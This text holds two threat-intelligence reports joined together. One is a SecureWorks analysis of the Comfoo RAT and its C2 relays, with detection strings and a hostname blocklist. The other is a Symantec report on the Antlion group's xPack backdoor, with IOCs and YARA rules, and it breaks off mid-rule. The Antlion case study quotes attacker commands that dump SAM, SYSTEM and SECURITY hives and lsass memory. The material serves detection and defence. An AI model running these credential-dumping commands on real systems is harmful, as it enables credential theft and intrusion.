URL:http://www.secureworks.com/cyber-threat-intelligence/threats/secrets-of- the-comfoo-masters/ Introduction The details of organized cyber-espionage campaigns are becoming more public. So- called Advanced Persistent Threat (APT) attacks are common news as individuals and corporations discover the data on their hard drives is part of a country or competitors shopping list. The actors behind these attacks are generally well-equipped in terms of training, finances, and access to resources. The missions of APT threat actors are usually of strategic importance, and the actors exercise virtually unlimited patience in penetrat- ing and persisting inside their specific targets network until they accomplish their goals. One of the universal aspects of APT attacks is the use of malicious software tools that grant unauthorized backdoor access to computer systems inside the targeted network. Because maintaining a beachhead inside the network is often critical to mission success, threat actors must adapt to various network configurations and changes in defenses by choosing and deploying backdoors with specific functionality and features. It is difficult to be persistent without at least one backdoor. Threat actors often possess and use an ar- senal of remote access trojans (RATs) to siphon data from their targets. Persistence re- quires malware, and the top cyber-espionage actors have hundreds of RATs at their dis- posal at any given time. Understanding the choice and usage of tools can be the keys to identifying and tracking APTs. Dell SecureWorks researchers have identified and classified more than 200 distinct mal- ware families used by various APT groups. Some malware is specially configured off- the-shelf software, and some malware is customized source code of an existing RAT. However, most malware families are proprietary, developed by the APT groups as weapons to be deployed against a variety of targets. Accurate identification and classifi- cation of this malware by antivirus (AV) companies is sparse. Shared code, the use of common tools, co-infections, and a history of generic or incorrect classification by multi- http://www.secureworks.com/cyber-threat-intelligence/threats/secrets-of-the-comfoo-masters/ http://www.secureworks.com/cyber-threat-intelligence/advanced-persistent-threats/ http://www.secureworks.com/cyber-threat-intelligence/malware_code_analysis/ ple names make the automated tracking of these tools by AV companies difficult. This inaccuracy can be detrimental when designing defenses based on specific threat indica- tors. Tracking APTs requires a dedicated malware intelligence effort. One way applied malware intelligence is used to discover new APT trojans is a recursive investigative method: Malware - Infrastructure Touchpoints - New Malware - and so on. Cyber-espionage actors often cycle through different RATs over a period of years. The Dell SecureWorks Counter Threat Unit (CTU) research team has tracked a RAT known as Comfoo that has been in continuous development since at least 2006. This RAT has maintained a fairly low profile, even though it was used as part of the RSA breach in 2010, when its code was first analyzed. Antivirus firm Trend Micro briefly mentioned its use in a 2012 paper titled Luckycat Redux Inside an APT Campaign with Multiple Targets in India and Japan. However, the disclosure of this trojan and some of its command and control (C2) infrastructure did not discourage its continued use by the threat actors responsible for it. Comfoo characteristics To maintain persistence on the system, Comfoo usually replaces the path to the DLL of an existing unused service rather than installing a new service. A new service is more likely to be noticed by system audits. Sometimes Comfoo is delivered with a rootkit that hides Comfoos files on disk. Additionally, Comfoo starts the existing ipnat system ser- vice. This action causes remote inbound connections to the infected system to fail, block- ing remote maintenance by the network administrator. Network behavior Comfoos network traffic is encrypted and encapsulated in HTTP requests and respons- es, although some variants skip the encapsulation step. Payloads are encrypted by a 10- byte static XOR key that is hard-coded inside the Comfoo binary. Initial login data from the infected system (MAC address, internal IP address, campaign tag, and version data) is passed in the request URI and is additionally encrypted by a dynamic key, as shown in Figure 1. http://www.secureworks.com/cyber-threat-intelligence/counter_threat_unit/ http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_luckycat_redux.pdf Figure 1. Comfoo URL decryption algorithm example. ( Source: Dell SecureWorks) Capabilities The Comfoo RAT has the following features: System/network information gathering Keystroke logging Screenshots File upload/download/execute Command shell Comfoo trojan C2 software discovery By studying the network traffic of infected systems, CTU researchers determined that the server side of the Comfoo malware sends an HTTP server header identifying the server version as Apache 2.0.50 (Unix). However, the rest of the HTTP headers do not match the order or the formatting used by this version of Apache. This anomaly sug- gests that the C2 software was a standalone application instead of a series of scripts run- ning under Apache. Searching for the specific server version string in the CTU malware repository produced a sample of the Comfoo server software, identified by the MD5 hash 2b29f0224b632fdd00d0a30527b795b7. http://www.secureworks.com/assets/image_store/png/large.intelligence.threats.comfoo.1.png Analysis The Comfoo C2 server turns out to be a rendezvous-type traffic relay program. This small binary can be deployed on rented or hacked Windows systems, where it passes traffic between Comfoo victims and the Comfoo master console operated by the threat actors (see Figure 2). Figure 2. Organization of rendezvous-type traffic relay program. ( Source: Dell SecureWorks) Unlike dumb traffic relay servers such as HTran, the Comfoo relay server does not know the location of the master console. Instead, the master console program connects to the relay server on-demand, and any incoming victim data is passed to the master console connection. HTran is sometimes used to add an additional layer of untraceabili- ty to the victim connection. Likewise, the administrator can add other layers of proxies or VPN connections to the console connection side of the communication. The Comfoo relay server listens on up to three TCP ports at a time. The first port acts as a control and typically listens on port 1688. It performs the following tasks: Enables/disables the other ports Accepts new relay port configuration (stored in rlycfg.dll) Notifies master console that a new victim connection is available The second port is the admin relay port, which typically listens on port 1689. It accepts connections from the master console to send commands to and receive data from vic- tims systems. The third port is the victim relay port, which listens on a configurable port number, usually port 80 or port 443. This port accepts connections from victims http://www.secureworks.com/cyber-threat-intelligence/threats/htran/ systems to send data to and receive commands from the Comfoo administrator encapsu- lated in HTTP requests and responses. If there is no current connection between the vic- tim and the Comfoo administrator, Comfoo logs the victims connection and sends an idle response to the victim. DNS resolution tactics In addition to using rendezvous protocols and HTran forwarding servers, Comfoo oper- ators create and maintain another layer of obfuscation to thwart analysis of their infra- structure. Like many other APT malware families, Comfoo reaches out to its masters based on DNS lookups of certain hostnames. The Comfoo operators commonly use dy- namic DNS providers to micromanage the IP addresses to which Comfoo hostnames re- solve. While Comfoo sleeps, its operators often set those IP addresses to common or bo- gus entries. When not being used to actively control Comfoo, the C2 domain name might resolve to the address of a popular search engine or a local loopback (127.0.0.1), private (10.1.1.1), or other special use (0.0.0.0) IP address. Domain names used in Com- foo operations only point to actual control infrastructure during very short time win- dows. Only during these time windows do alerts from a DNS monitoring tool inform researchers when it might be possible to locate an actual Comfoo server. Figure 3 maps IP addresses used in Comfoo campaigns. Figure 3. Geolocation plot of all public routable IP addresses resolved from a set of Comfoo C2 hostnames, including bogus distractors. ( Source: Dell SecureWorks) The map in Figure 4 shows only the IP addresses that actually speak Comfoos protocol, https://tools.ietf.org/html/rfc5735 http://tools.ietf.org/html/rfc1918 http://www.secureworks.com/assets/image_store/png/large.intelligence.threats.comfoo.3.png illustrating how DNS tactics such as the distractor IP addresses can mask actual control infrastructure. Figure 4. Geolocation plot of actual IP addresses used for Comfoo C2 servers. ( Source: Dell Se- cureWorks) Taking control The unauthenticated nature of the Comfoo relay servers administrative connections makes it possible to take control of the C2 server and all victims systems, armed only with knowledge of the protocol, the encryption method, and the static encryption key hard-coded into every Comfoo binary. Researchers can passively monitor victims lo- gins to the relay servers (sending no commands) by connecting to the correct port on the correct IP address at the right time. This technique is analogous to viewing webserver log data stored in a publicly accessible directory on a C2 server. To help identify and notify victims of Comfoo-based espionage, CTU researchers set up a passive monitoring system for dozens of active Comfoo C2 relays and have been run- ning this system since January 2012. Connections from the monitoring system are peri- odic, so not all victim logins are observed. Only the initial connection data is logged, and it is not possible to see data being exfiltrated from victims networks using this method. Passive monitoring results While monitoring Comfoo, CTU researchers detected more than 200 variants of the tro- http://www.secureworks.com/assets/image_store/png/large.intelligence.threats.comfoo.4.png jan and 64 different campaign tags used by the threat actors to organize their cam- paigns. Numerous government entities and private companies based in the United States, Europe, and Asia Pacific had Comfoo-infected computers phoning home to the Comfoo C2 infrastructure (see Figure 5). Figure 5. Geographic location of Comfoo victim organizations. ( Source: Dell SecureWorks) Much of the traffic emanated from multiple Japanese and Indian government ministries. CTU researchers outlined the Japanese attack campaign in a previous analysis entitled Chasing APT. The following industries were also targeted: Education Energy Mineral exploration News media Semiconductors Steel manufacturing Think tanks Telecommunications Trade organizations Audio and videoconferencing products The targeting of audio and videoconferencing products is unusual. CTU researchers speculate that the threat actors might be looking for intellectual property relating to au- dio and videoconferencing. Another possibility is that it could be a clever and stealthy way of listening and watching activities of both commercial and government organiza- tions. http://www.secureworks.com/assets/image_store/png/large.intelligence.threats.comfoo.5.png http://www.secureworks.com/cyber-threat-intelligence/threats/chasing_apt/ Detecting Comfoo in the enterprise The presence of Comfoo on a network or computer can be detected in a variety of ways, even if AV engines lack detection for the latest variants. Analysts can search for known Comfoo threat indicators in network traffic, on hard drives, in memory, or in the Win- dows registry. Network detection A typical Comfoo HTTP phone-home request looks like the following: GET /CWoNaJLBo/VTNeWw11212/12664/12VTNfNmM1aQ/UTWOqVQ132/ HTTP/1.1Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, /Accept-Language: en-enUser-Agent: Mozilla/4.0 (compatible MSIE 6.0Windows NT 5.1)Host: smtp.dynami clink.ddns.usConnection: Keep-AliveCache-Control: no-cache An active C2 server responds with headers similar to the following: HTTP/1.1 200 OKDate: Mon, 29 Jul 2013 19:26:15 GMTServer: Apache/2.0.50 (Unix)Content-Length: 10Keep-Alive: timeout15, max90 Disk/memory/registry detection The unique string T1Y943jIhk can be found in the Comfoo binary. Offline forensic analy- sis may be required to search for this string if a rootkit is in play. These additional strings can be searched but are not guaranteed to be unique to Com- foo: CPUSpeed:d.dGHz CPUNameString:s CPUVendorIdentifier:s CPUIdentifier:s No d CPU Information: SystemCurrent Time: systemBoot Time: IE BHO Name:s 11. IE BHO Information 10. IE Version Information 9. InstallApp Information 8. NETBIOS Information 7. Protocol Information 6. NET Information 5. Disk Information 4. Account Information 3. System Time 2. CPU Type Can not get this information, error code is d. Windows Version Information Additionally, Comfoo uses the SetEvent Windows API and registers an event that fre- quently contains the word GAME. The following are example Comfoo event names: exclusiveinstance12 THIS324NEWGAME MYGAMEHAVESTART MYGAMEHAVEstarted MYGAMEHAVESTARTEd MYGAMEHAVESTARTED thisisanewfirstrun THISISASUPERNEWGAMENOWBEGIN thisisnewtrofor024 To persist without adding new registry entries, Comfoo edits an unused system service configuration, replacing the DLL path and setting it to auto-start on boot. For example, a system service registry key entry changed by Comfoo might resemble the following: system\CurrentControlSet\Services\Netman\Parameters Original: ServiceDll SystemRoot\System32\netman.dll Modified: ServiceDll C:\WINDOWS\system32\tabcteng.dll system\CurrentControlSet\Services\Netman Original: Start 3 Modified: Start 2 Comfoo hijacks service settings for some legitimate service DLLs: netman.dll rasauto.dll sens.dll The following are DLL names commonly used by Comfoo: cmmos.dll jacpet.dll javadb.dll mszlobm.dll netfram.dll netman.dll ntdapie.dll ntdelu.dll ntobm.dll odbm.dll senss.dll suddec.dll tabcteng.dll vmmreg32.dll wininete.dll If Comfoo successfully connects to the relay server and receives commands from the master console, then it creates a file named mstemp.temp on the infected system to store the output of the last shell command. Conclusion Comfoo is the tip of an iceberg. The CTU research team notified many Comfoo victims, either directly or through the computer security incident response teams (CSIRTs) in their respective country. Analysis was also shared with law enforcement. Based on the number of campaign tags observed in malware samples versus those seen in live moni- toring by the CTU research team, there are likely hundreds more unidentified victims. Most businesses will never see a Comfoo infection. However, evaluating whether an or- ganization is a potential target of cyber-espionage is important in any risk evaluation. Chief information security officers should maintain awareness of any reported cyber- espionage threats in their business sector. If one player in an industry is targeted, it is likely all major players (or newcomers with interesting technology) in that industry will be targets at some point. Organizations compromised by Comfoo (or most types of APT malware) likely face a major forensic and eradication effort. This effort should be followed by a major invest- ment in security measures to keep cyber-espionage actors out of the network. Many in- house security teams do not have the APT expertise to respond to a persistent threat that requires a persistent, active, and layered defense model spanning the entire attack surface of an organization. As a result, the organization might need outside expertise to effectively mitigate these types of threats. Appendix: Comfoo hostnames for blacklisting consideration accounts . ddns . info active . googleupdate . hk active . nifty-user . com addr . googleupdate . hk ahn06 . myfw . us allroot80 . 4pu . com apf . googleupdate . hk aptlkxqm . 25u . com back . agfire . com back . winsupdate . com bbs . dynssl . com bbs . gladallinone . com bigdog . winself . com billgates . itsaol . com bjllgvtms . effers . com blizzcon . sexidude . com blizzcon . sexxxy . biz buffet80 . bigmoney . biz buffet80 . itsaol . com buffet . bbsindex . com bxpudqx . otzo . com my . amazingrm . com my . officebeautyclub . com myweb . wwwcrazy . com nevruz . mrface . com news . mcesign . com news . rumorse . com news . win . dnset . com news . wintersunshine . net night . mefound . com nikimen . etowns . net nslsa . microupdata . com nsser . systemsupdata . com nsservic . googleupdate . hk nunok . ninth . biz oct . clawsnare . com offer . eosboxster . com okkou . 9966 . org park006 . myfw . us pazar . vicp . net pcnews . rr . nu pcpc . helpngr . net http://go.secureworks.com/advancedthreats cart . itsaol . com catawarm . gicp . net cell . missingthegirl . com cmart . iownyour . org config . microupdata . com copyright . imwork . net cpt . csinfos . net crsky . systemsupdata . com database . googleupdate . hk davidcat . yick . lflink . com daviddog . gicp . net db . themmdance . com ddns . yourturbe . org deminich . gicp . net deminich . jungleheart . com demi . yick . lflink . com dgoil . 3322 . org dns . google-login . com do . centr-info . com dolaamen . xicp . net domain . centr-info . com domain . nifty-user . com download . yourturbe . org dunya . 8800 . org et . stoneqwer . com eudge . 3322 . org eudge . redirect . hm european . pass . as eurowizard . byinter . net facebook . nifty-japan . com fact . winsupdate . com fbook . google-login . com fish . windwarp . uicp . net football . deminich . jungleheart . com football . dynamiclink . ddns . us foxpart . oicp . net free3w . lflinkup . org fr . washbart . com ftp . alvinton . jetos . com ftp . lucky . ddns . ms ftpserver . 3-a . net ftp . superaround . ns02 . biz ftp . y3 . 3-a . net funew . noorno . com fun . marktie . com funnygamea . vicp . net games . jeepworker . com games . noorno . com googlemail . servehttp . com googleupdate2009 . kmip . net graymmy . longmusic . com gws01 . microupdata . com gws12 . microupdata . com pcuser . ikwb . com podding . newsinsky . com poft . yahoo-user . com pofuyer . 4pu . com polly . jwt . ourhobby . com polly . slyip . com poly . jwt . ourhobby . com pop3 . freemail . mrface . com pop . microupdata . com pop . peroillion . com prc . deminich . jungleheart . com prc . dynamiclink . ddns . us pure . mypop3 . org record . yick . lflink . com rember . clawsnare . com reserve . trickip . net rouji . king . proxydns . com s0ft . noorno . com sapudy . dns2 . us server . epac . to server . nifty-login . com server . universityexp . com services . google-config . com shift . 8866 . org sinagame . 2288 . org singes . organiccrap . com singngh . gicp . net slll . pbfsnet . com smell . gotgeek . com smtp . deminich . jungleheart . com smtp . travelexpolorer . com soft . yahoo-user . com sollysly . servegame . com sonam . goodnews007 . com sports . wintersunshine . net srv911 . yahoo-user . com srv91 . googleupdate . hk srv91 . yahoo-user . com sscdtt . phmail . us stone . king . proxydns . com superaround . ns02 . biz tech . bommow . com terrys . rr . nu test1 . dns1 . us test1 . windwarp . uicp . net thec . csinfos . net timeout . myvnc . com trans . helpngr . net tttt . sundaynews . us tw . pudnet . net uncrisis . findhere . org update . yourturbe . org usstream . coyo . eu hanoihcm . phdns01 . com havefuns . rkntils . 10dig . net henryclub . 25u . com hfwwpofuyer . 4pu . com homehost . 3322 . org https . port25 . biz hyphen . dyndns . biz hzg002 . mooo . com image . google-login . com image . qpoe . com info . kembletech . com info . rumorse . com info . whandjg . net insert . 51vip . biz office-sevice . com intrusion . post-horse . net it . buglan . com it . davyhop . com it . pudnet . net johnnees . rkntils . 10dig . net kapa2000 . 3322 . org kimomail . 3-a . net korea001 . tribeman . com korea1 . mooo . com kx . davyhop . com lanama . jkub . com lcyma . jetos . com li . noorno . com livedoor . microupdata . com login . yahoo-user . com lovehill . 3d-game . com lovehill . dyndns-blog . com lovehill . xxuz . com lsass . google-login . com luck201202 . oicp . net mail911 . nifty-login . com mail911 . nifty-user . com mail91 . nifty-login . com mail91 . nifty-user . com mail . carsystm . net mail . lthreebox . com mail . mariofreegame . net mail . mgtfcayman . com mail . mofa . zyns . com mailsrv . mariofreegame . net mail . systemsupdata . com mail . xygong . com manpower . 3322 . org marhone . vicp . net mdb . clawsnare . com mf . tpznet . com microsoft . redirect . hm mil . winsupdate . com venus . gr8domain . biz vstar-2006 . vicp . net wakawaka . servehttp . com webdata . helpngr . net web . nifty-login . com web . nifty-user . com web . yahoo-user . com wetboy . vicp . hk winhelp . yahoo-config . com winserver . 3-a . net wogawoga . sytes . net worldwide . servehttp . com wt . pudnet . net wwmrus . gicp . net www12 . sexidude . com www . a1yac . net www . avau . info www . ayfd . info www . butr . info www . catholicstory . info www . config . sendsmtp . com www . drsc . in www . firehorse . changeip . name www . fsdr . info www . google-login . com www . greenhawthorn . com www . grtk . info www . hgtw . info www . jeepworker . com www . kkle . info www . lconstruct . com www . linejudge . net www . microsoft . yourtrap . com www . missingthegirl . com www . nifty-japan . com www . noorno . com www . post-horse . net www . search . wwwhost . biz www . setinfor . proxydns . com www . smtp2010 . googleupdate . hk www . solarisc . com www . superpowereye . com www . swf . zyns . com www . test1 . dns1 . us www . tomdavid . dns04 . com www . windows . dynamicdns . org . uk www . wsdv . info xmahone . 51vip . biz xmahone . gicp . net xmahone . suroot . com yftpost . flnet . org ynet . nifty-login . com ynet . nifty-user . com msnsupport . servehttp . com zp . amazingrm . com zp . tpznet . com 1/7 Antlion: Chinese APT Uses Custom Backdoor to Target Financial Institutions in Taiwan symantec-enterprise-blogs.security.com/blogs/threat-intelligence/china-apt-antlion-taiwan-financial-attacks The attackers spent a significant amount of time on victim networks. Chinese state-backed advanced persistent threat (APT) group Antlion has been targeting financial institutions in Taiwan in a persistent campaign over the course of at least 18 months. The attackers deployed a custom backdoor we have called xPack on compromised systems, which gave them extensive access to victim machines. The backdoor allowed the attackers to run WMI commands remotely, while there is also evidence that they leveraged EternalBlue exploits in the backdoor. The attackers appeared to have the ability to interact with SMB shares, and its possible that they used mounted shares over SMB to transfer files from attacker-controlled infrastructure. There is also evidence that the attackers were able to browse the web through the backdoor, likely using it as a proxy to mask their IP address. The goal of this campaign appears to have been espionage, as we saw the attackers exfiltrating data and staging data for exfiltration from infected networks. Technical details As well as the attack on the financial institution outlined in the case study below, Antlion compromised the networks of at least two other organizations in Taiwan, including another financial organization and a manufacturing company. The activity the group carried out on those networks was largely similar to the activity that is detailed in the case study, with the xPack backdoor frequently deployed and a lot of evidence of credential dumping. In the manufacturing target, also, we see the attackers attempting to download malicious files via SMB shares. The attackers also spent a significant amount of time on both these targeted networks, spending close to 250 days on the financial organization and around 175 days on the manufacturing organization. Symantec, a division of Broadcom, cannot state with certainty what the initial infection vector used by the attackers in this campaign was, though in one instance they were seen utilizing the MSSQL service to execute system commands, which indicates that the most likely infection vector was exploitation of a web application or service. However, Antlion are also known to have previously used malicious emails to gain initial access to victim networks. The main custom backdoor used by Antlion in this campaign was the xPack backdoor, which is a custom .NET loader that decrypts (AES), loads, and executes accompanying .bin files. Its decryption password is provided as a command-line argument (Base64 encoded string), and xPack is intended to be run as a standalone application or as a service (xPackSvc variant). The xPack malware and its associated payload seems to be used for initial access it appears that xPack was predominantly used to execute system commands, drop subsequent malware and tools, and stage data for exfiltration. The attackers also used a custom keylogger and three custom loaders. EHAGBPSL loader - custom loader written in C - loaded by JpgRun loader JpgRun loader - customer loader written in C - similar to xPack, reads the decryption key and filename from the command line - decodes the file and executes it CheckID - custom loader written in C - based on loader used by BlackHole RAT The attackers also used a custom SMB session enumeration tool (NetSessionEnum), a custom bind/reverse file transfer tool named ENCODE MMC, and a Kerberos golden ticket tool based on Mimikatz. The attackers also used a variety of off-the-shelf tools, as well as leveraging living-off-the-land tools such as PowerShell, WMIC, ProcDump, LSASS, and PsExec. The legitimate AnyDesk tool was also abused by the attackers for remote access in one of the victim organizations. The attackers were also observed leveraging exploits such as CVE-2019-1458 for privilege escalation and remote scheduled tasks to execute their backdoor. CVE-2019-1458 is an elevation-of-privilege vulnerability that occurs in Windows when the Win32k component fails to properly handle objects in memory. Legitimate versions of WinRAR appear to have been exploited by the attackers for data exfiltration, while there is also evidence of data exfiltration via PowerShell, specifically using the BitsTransfer module to initiate an upload to attacker-controlled infrastructure. There is also evidence that the attackers likely automated the data collection process via batch scripts, while there is also evidence of instances https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/china-apt-antlion-taiwan-financial-attacks 2/7 where data was likely staged for further exfiltration, though it was not actually observed being exfiltrated from the network. In these instances, it appears the attackers were interested in collecting information from software pertaining to business contacts, investments, and smart card readers. Case study: Attack on a financial organization The attackers spent a significant amount of time on victims networks, and deployed both custom and off-the-shelf malware. In one financial sector victim in Taiwan the attackers spent almost nine months on the victim network. The first suspicious activity on this victim network occurred in December 2020 when WMIC was used to execute two commands: wmic process get CSName,Description,ExecutablePath,ProcessId /format:CSIDL_SYSTEM\wbem\zh-tw\htable.xsl wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:CSIDL_SYSTEM\wbem\zh-tw\htable.xsl The first command was used to list the computer name, description of processes, executable path, and process ID. The output was written to a suspicious file named htable.xsl under the wbem directory. The second command was used to collect information about the system, which was written out to the same file (htable.xsl). Information collected included: Version of the operating system (OS) The installation date The last time the system was booted The local date and time of the system The manufacturer The registered user Service pack information - this can be used to determine what patches are installed System directory path Five minutes after those commands were issued, WMIC was used to dump credentials: reg save HKLM\SAM CSIDL_COMMON_DOCUMENTS\sam.hiv reg save HKLM\SYSTEM CSIDL_COMMON_DOCUMENTS\sys.hiv reg save hklm\security CSIDL_COMMON_DOCUMENTS\security.hiv The commands listed above were all executed via Antlions custom xPack backdoor. Several days later, during the Christmas holiday period, the attackers returned over a period of a few days and executed the xPack backdoor again. They also executed an unknown VBS script via PsExec multiple times: cscript.exe CSIDL_SYSTEM_DRIVE\update.vbs On December 28, the attackers used xPack to launch a command prompt to dump credentials from several machines within the compromised organization with the following commands: upload.exe -accepteula -ma lsass.exe 16.dmp (a renamed version of Sysinternals procdump64.exe) reg save hklm\sam CSIDL_PROFILE\publicsam.hive reg save hklm\system CSIDL_PROFILE\public\system.hive reg save hklm\security CSIDL_PROFILE\public\security.hive Over the following couple of weeks, the attackers continued to return intermittently to launch the xPack backdoor or to dump credentials via the registry. Then, following a few weeks of inactivity, they become active on the infected network once again. The attackers used the xPack backdoor to launch a command prompt to execute the following commands: cmd /K CHCP 950 CHCP 950 query user CSIDL_SYSTEM\quser.exe tasklist /v findstr explorer cmd /c dir CSIDL_PROFILE\desktop CSIDL_SYSTEM\cmd.exe /c cmd /c dir \users /b cmd /c dir CSIDL_PROFILE\desktop cmd /c dir \users /b 3/7 reg save hklm\security CSIDL_COMMON_DOCUMENTS\security.hiv rar a -r -hp1qazWSX3edc W22-009-099.tmp CSIDL_COMMON_DOCUMENTS\w22-009-099_file reg save hklm\system CSIDL_COMMON_DOCUMENTS\system.hiv reg save hklm\sam CSIDL_COMMON_DOCUMENTS\sam.hiv The above commands were used to firstly change the code page to 950, which is the Windows code page for Traditional Chinese. The attackers then executed query user to list any logged-in users on the system, as well as running tasklist to get a list of all the running processes on the system. They also tried to discover what processes were running, before listing all contents of the Desktop directory and the Users directory. After this, the attackers dumped credentials again via the registry. The attackers returned to the network a couple of weeks later and carried out largely the same activity. The attackers remained active on the network for March, April, and May 2021, intermittently returning to launch their xPack backdoor or dump credentials from the registry. Dumping credentials appears to be a main focus of the attackers, with them likely using these credentials to move laterally across the network to identify machines of interest from which they can exfiltrate data. The last activity on this network, after a gap of three months, occurred in August 2021, when the attackers returned and listed all available shares. They then dumped credentials from the registry and proceeded to collect account, group, and workstation configuration information. They then dumped credentials from the registry once again. This was the last activity seen on this network. Experienced actor stays active Antlion is believed to have been involved in espionage activities since at least 2011, and this recent activity shows that it is still an actor to be aware of more than 10 years after it first appeared. The length of time that Antlion was able to spend on victim networks is notable, with the group able to spend several months on victim networks, affording plenty of time to seek out and exfiltrate potentially sensitive information from infected organizations. The targeting of Taiwan is perhaps unsurprising given we know Chinese state-backed groups tend to be interested in organizations in that region. Protection For the latest protection updates, please visit the Symantec Protection Bulletin. Indicators of Compromise (IOCs) If an IOC is malicious and the file is available to us, Symantec Endpoint products will detect and block that file. Type IOC Description SHA2 85867a8b4de856a943dd5efaaf3b48aecd2082aa0ceba799df53ba479e4e81c5 checkID SHA2 12425edb2c50eac79f06bf228cb2dd77bb1e847c4c4a2049c91e0c5b345df5f2 xPack SHA2 e4a15537f767332a7ed08009f4e0c5a7b65e8cbd468eb81e3e20dc8dfc36aeed xPack SHA2 e488f0015f14a0eff4b756d10f252aa419bc960050a53cc04699d5cc8df86c8a xPack SHA2 9456d9a03f5084e44f8b3ad936b706a819ad1dd89e06ace612351b19685fef92 xPack SHA2 730552898b4e99c7f8732a50ae7897fb5f83932d532a0b8151f3b9b13db7d73c xPack SHA2 de9bd941e92284770b46f1d764905106f2c678013d3793014bdad7776540a451 xPack SHA2 390460900c318a9a5c9026208f9486af58b149d2ba98069007218973a6b0df66 xPack SHA2 4331d1610cdedba314fc71b6bed35fea03bc49241eb908a70265c004f5701a29 xPack SHA2 9b5168a8f2950e43148fe47576ab3ac5b2cfa8817b124691c50d2c77207f6586 xPack SHA2 a74cb0127a793a7f4a616613c5aae72142c1166f4bb113247e734f0efd48bdba xPack SHA2 e5259b6527e8612f9fd9bba0b69920de3fd323a3711af39f2648686fa139bc38 xPack SHA2 eb7a23136dc98715c0a3b88715aa7e936b88adab8ebae70253a5122b8a402df3 xPack SHA2 789f0ec8e60fbc8645641a47bc821b11a4486f28892b6ce14f867a40247954ed Keylogger https://www.broadcom.com/support/security-center/protection-bulletin 4/7 Type IOC Description SHA2 3db621cac1d026714356501f558b1847212c91169314c1d43bfc3a4798467d0d Keylogger SHA2 443f4572ed2aec06d9fb3a190de21bfced37c0cd2ee03dd48a0a7be762858925 JpgRun SHA2 f4534e04caced1243bd7a9ce7b3cd343bf8f558982cbabff93fa2796233fe929 JpgRun SHA2 e968e0d7e62fbc36ad95bc7b140cf7c32cd0f02fd6f4f914eeb7c7b87528cfe2 EHAGBPSL SHA2 0bbb477c1840e4a00d0b6cd3bd8121b23e1ce03a5ad738e9aa0e5e0b2e1e1fea EHAGBPSL SHA2 55636c8a0baa9b57e52728c12dd969817815ba88ec8c8985bd20f23acd7f0537 EHAGBPSL SHA2 2a541a06929dd7d18ddbae2cb23d5455d0666af7bdcdf45b498d1130a8434632 EHAGBPSL SHA2 85867a8b4de856a943dd5efaaf3b48aecd2082aa0ceba799df53ba479e4e81c5 checkID SHA2 29d7b82f9ae7fa0dbaf2d18c4d38d18028d652ed1ccc0846e8c781b4015b5f78 checkID SHA2 f7cab241dac6e7db9369a4b85bd52904022055111be2fc413661239c3c64af3d checkID SHA2 2aa52776965b37668887a53dcd2374fc2460293b73c897de5d389b672e1313ff checkID SHA2 79a37464d889b41b7ea0a968d3e15e8923a4c0889f61410b94f5d02458cb9eed checkID SHA2 48d41507f5fc40a310fcd9148b790c29aeb9458ff45f789d091a9af114f26f43 NetSessionEnum SHA2 f01a4841f022e96a5af613eb76c6b72293400e52787ab228e0abb862e5a86874 MMC SHA2 e1a0c593c83e0b8873278fabceff6d772eeaaac96d10aba31fcf3992bc1410e5 MMC SHA2 dfee6b3262e43d85f20f4ce2dfb69a8d0603bb261fb3dfa0b934543754d5128b Mimikatz Yara Rules rule xpack_loader meta: author Symantec, a division of Broadcom hash 12425edb2c50eac79f06bf228cb2dd77bb1e847c4c4a2049c91e0c5b345df5f2 strings: s1 Length or Hash destoryed wide fullword s2 tag unmatched wide fullword s3 File size mismatch wide fullword s4 DESFile wide fullword p1 fomsal. Properties. Resources.resources wide fullword p2 xPack. Properties. Resources.resources wide fullword p3 foslta. Properties. Resources.resources wide fullword condition: uint16(0) 0x5A4D and uint32(uint32(0x3C)) 0x00004550 and (2 of (s) or any of (p)) rule xpack_service 5/7 meta: author Symantec, a division of Broadcom hash 390460900c318a9a5c9026208f9486af58b149d2ba98069007218973a6b0df66 strings: s1 C:\\Windows\\inf\\wdnvsc.inf wide fullword s2 PackService wide fullword s3 xPackSvc wide fullword s4 eG5h8V wide fullword condition: uint16(0) 0x5A4D and uint32(uint32(0x3C)) 0x00004550 and 3 of them rule EHAGBPSL_loader meta: author Symantec, a division of Broadcom hash e968e0d7e62fbc36ad95bc7b140cf7c32cd0f02fd6f4f914eeb7c7b87528cfe2 hash 2a541a06929dd7d18ddbae2cb23d5455d0666af7bdcdf45b498d1130a8434632 strings: s1 45 00 00 00 48 00 00 00 41 00 00 00 47 00 00 00 42 00 00 00 50 00 00 00 53 00 00 00 4C // EHAGBPSL s2 74 00 00 00 61 00 00 00 72 00 00 00 57 00 00 00 6F 00 00 00 6B // tarWok b1 bnRtZ3M fullword // ntmgs b2 TmV0d29yayBNYW5hZ2VtZW50IFNlcnZpY2U fullword // Network Management Service b3 UHJvdmlkZXMgYWJpbGl0eSB0byBtYW5hZ2UgbmV0d29yayBvdmVyIHRoZSBuZXQgcHJvdG9jb2wu fullword // Provides ability to manage network over the net protocol. b4 bnRtZ3MuZG // ntmgs.dll / ntmgs.dat b5 aW1nMS5qcGc fullword // img1.jpg c1 Wscms.nls fullword c2 Wscms.dat fullword c3 Wscms.dll fullword c4 Wscms.ini fullword c5 Images01.jpg fullword e1 StartWork fullword e2 ServiceMain fullword h1 DD 9C BD 72 // CreateRemoteThread h2 C0 97 E2 EF // OpenProcess h3 32 6D C7 D5 // RegisterServiceCtrlHandlerA 6/7 h4 A1 6A 3D D8 // WriteProcessMemory condition: uint16(0) 0x5A4D and uint32(uint32(0x3C)) 0x00004550 and all of (e) and (all of (s) or any of (b) or 3 of (c) or all of (h)) rule keylogger meta: author Symantec, a division of Broadcom hash 3db621cac1d026714356501f558b1847212c91169314c1d43bfc3a4798467d0d hash 789f0ec8e60fbc8645641a47bc821b11a4486f28892b6ce14f867a40247954ed strings: m1 BKB_Test fullword m2 KLG_sd76bxds1N fullword k1 [d/02d/02d 02d:02d:02d K-E-Y-L-O-G] fullword k2 [d/02d/02d 02d:02d:02d C-L-I-P-B-D] fullword k3 Title--s-- fullword k4 ImpersonateLoggedOnUser Error(d) fullword f1 55 73 65 72 ?? ?? ? ? 00 00 00 ?? ?? ? ? 6B 65 79 2E // Userkey. f2 55 73 65 72 ?? ?? ? ? 00 00 00 ?? ?? ? ? 64 61 74 2E // Userdat. condition: uint16(0) 0x5A4D and uint32(uint32(0x3C)) 0x00004550 and (2 of (k) or (any of (m) and any of 